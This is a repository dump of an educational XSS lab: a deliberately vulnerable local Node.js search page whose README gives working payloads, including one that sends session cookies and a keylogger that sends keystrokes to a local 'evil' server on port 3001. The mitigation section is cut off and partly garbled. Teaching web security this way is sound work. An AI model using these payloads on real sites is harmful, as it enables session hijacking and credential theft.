├── .gitignore
├── LICENSE
├── README.md
├── evil-server.js
├── package.json
├── public
└── index.html
├── screenshots
├── xss-screenshot-001.png
└── xss-screenshot-002.png
└── server.js
/.gitignore:
--------------------------------------------------------------------------------
1 | node_modules/
2 |
3 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2016 Charles Hill
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Cross-site Scripting (XSS)
2 |
3 | Example cross-site scripting vulnerabilities in action.
4 |
5 |
6 | ## Requirements
7 |
8 | * [Node.js](https://nodejs.org/en/) - you can use either version (LTS or latest)
9 | * For Windows - use the installation package from the node website
10 | * For Linux and Mac - use [nvm](https://github.com/creationix/nvm) to install node
11 | * [Git](https://git-scm.com/downloads)
12 |
13 |
14 | ## Getting Started
15 |
16 | If you have not already done so, make sure you have all the [requirements](#requirements) from above.
17 |
18 | For Windows users, open Git Bash. You will use this program to run all the "terminal" commands you see in the rest of this guide.
19 |
20 | For Linux and Mac users, open Terminal.
21 |
22 | Now let's get started. In your terminal program, use git to download the project:
23 | ```bash
24 | git clone https://github.com/Learn-by-doing/xss.git
25 | ```
26 | If successful, a new folder named `xss` should have been created.
27 |
28 | Change directory into the new folder:
29 | ```bash
30 | cd xss
31 | ```
32 |
33 | Install the project's dependencies using npm:
34 | ```bash
35 | npm install
36 | ```
37 |
38 | Now we can run the local web server using Node.js:
39 | ```bash
40 | node server.js
41 | ```
42 | If successful, you should see the following message: `Server listening at localhost:3000`. This means that a local web server is now running and is listening for requests at [localhost:3000](http://localhost:3000/). Open your browser and click the link.
43 |
44 | You should see a simple search form. Enter some text then press enter (or click the "search" button). Notice how the search query you entered is shown in the page. This form might be vulnerable to an XSS attack. So let's test it ;)
45 |
46 |
47 | ## What is XSS?
48 |
49 | From [OWASP](https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)):
50 |
51 | > Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted web sites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user.
52 |
53 | XSS vulnerabilities are generally used to steal sensitive information (login credentials, authentication tokens, personal user data) as well as perform actions on behalf of authenticated users.
54 |
55 |
56 | ## Proof of Concept
57 |
58 | Open the developer tools in your browser (F12) and open the "Console" sub-tab.
59 |
60 | Copy/paste the following code into the console and run it:
61 | ```js
62 | encodeURIComponent('');
63 | ```
64 |
65 | 
66 |
67 | Copy the output and paste it into the address bar so that the URL looks like this:
68 | ```
69 | http://localhost:3000/?q=%3Cimg%20src%3D%22does-not-exist%22%20onerror%3D%22alert('hi!')%22%3E
70 | ```
71 | Or you can click [this link](http://localhost:3000/?q=%3Cimg%20src%3D%22does-not-exist%22%20onerror%3D%22alert('hi')%22%3E).
72 |
73 | If successful, you should see an alert pop-up that says "hi!".
74 |
75 | Let's see what else we can do..
76 |
77 |
78 | ## Exploitation
79 |
80 | Open the "Application" sub-tab in your browser's developer tools. Under "Storage" -> "Cookies", click "localhost:3000" to show the cookies being saved by the browser for this website.
81 |
82 | 
83 |
84 | Notice how there is a cookie named "connect.sid". This is a session cookie set by our local web server. Is it possible for us to access this via the XSS vulnerability? Let's try. Repeat the steps from the "Proof of Concept" section above, but with the following code:
85 | ```html
86 |
87 | ```
88 | Encode the above HTML and use it as the search query, or [try this link](http://localhost:3000/?q=%3Cimg%20src%3D%22does-not-exist%22%20onerror%3D%22alert(document.cookie)%22%3E).
89 |
90 | If successful, you should see the contents of the session cookie printed in an alert pop-up.
91 |
92 | Now before continuing, we will need to start our "evil" web server. Run the following command in a second terminal window:
93 | ```bash
94 | node evil-server.js
95 | ```
96 |
97 | And now try to use the following code with the XSS vulnerability to steal the session cookie:
98 | ```html
99 |
100 | ```
101 | Encode the above HTML and use it as the search query, or [try this link](http://localhost:3000/?q=%3Cimg%20src%3D%22does-not-exist%22%20onerror%3D%22var%20img%20%3D%20document.createElement(%27img%27)%3B%20img.src%20%3D%20%27http%3A%2F%2Flocalhost%3A3001%2Fcookie%3Fdata%3D%27%20%2B%20document.cookie%3B%20document.querySelector(%27body%27).appendChild(img)%3B%22%3E).
102 |
103 | Check the terminal window of the evil server. Do you see the contents of the session cookie?
104 |
105 | Fun times!
106 |
107 | Here's the JavaScript code from the last example in a readable form:
108 | ```js
109 | var img = document.createElement('img');
110 | img.src = 'http://localhost:3001/cookie?data=' + document.cookie;
111 | document.querySelector('body').appendChild(img);
112 | ```
113 |
114 | Now let's get even more nasty. Let's try a key-logger:
115 | ```html
116 |
117 | ```
118 | Encode the above HTML and use it as the search query, or [try this link](http://localhost:3000/?q=%3Cimg%20src%3D%22does-not-exist%22%20onerror%3D%22var%20timeout%3B%20var%20buffer%20%3D%20%27%27%3B%20document.querySelector(%27body%27).addEventListener(%27keypress%27%2C%20function(event)%20%7B%20if%20(event.which%20!%3D%3D%200)%20%7B%20clearTimeout(timeout)%3B%20buffer%20%2B%3D%20String.fromCharCode(event.which)%3B%20timeout%20%3D%20setTimeout(function()%20%7B%20var%20xhr%20%3D%20new%20XMLHttpRequest()%3B%20var%20uri%20%3D%20%27http%3A%2F%2Flocalhost%3A3001%2Fkeys%3Fdata%3D%27%20%2B%20encodeURIComponent(buffer)%3B%20xhr.open(%27GET%27%2C%20uri)%3B%20xhr.send()%3B%20buffer%20%3D%20%27%27%3B%20%7D%2C%20400)%3B%20%7D%20%7D)%3B%22%3E).
119 |
120 | Here's the JavaScript code from the last example in a readable form:
121 | ```js
122 | var timeout;
123 | var buffer = '';
124 | document.querySelector('body').addEventListener('keypress', function(event) {
125 | if (event.which !== 0) {
126 | clearTimeout(timeout);
127 | buffer += String.fromCharCode(event.which);
128 | timeout = setTimeout(function() {
129 | var xhr = new XMLHttpRequest();
130 | var uri = 'http://localhost:3001/keys?data=' + encodeURIComponent(buffer);
131 | xhr.open('GET', uri);
132 | xhr.send();
133 | buffer = '';
134 | }, 400);
135 | }
136 | });
137 | ```
138 |
139 | These are very primitive examples, but I think you can see the potential.
140 |
141 |
142 | ## So Why is this Bad?
143 |
144 | Imagine instead of localhost:3000, this was your bank's website. And you see a link in an official-looking email. What happens if you click that link? You might be running some malicious code in the context of your bank's website. Not such a big deal if you aren't logged in at that moment. But what if you are? Or what if you enter your login credentials on the page with the malicious code? Beginning to feel a bit paranoid? Good :)
145 |
146 |
147 | ## Mitigation
148 |
149 | Let's stop scaring you for a moment and see if we can fix this. In this example project, at the root, the XSS vulnerability is caused by inserting unsafe ("unescaped") HTML into the page. In the `public/index.html` file, you will find the following function:
150 | ```js
151 | function showQueryAndResults(q, results) {
152 |
153 | var resultsEl = document.querySelector('#results');
154 | var html = '';
155 |
156 | html += '
Your search query:
'; 157 | html += '' + q + ''; 158 | html += '
Your search query:
'; 181 | html += ''; 182 | html += '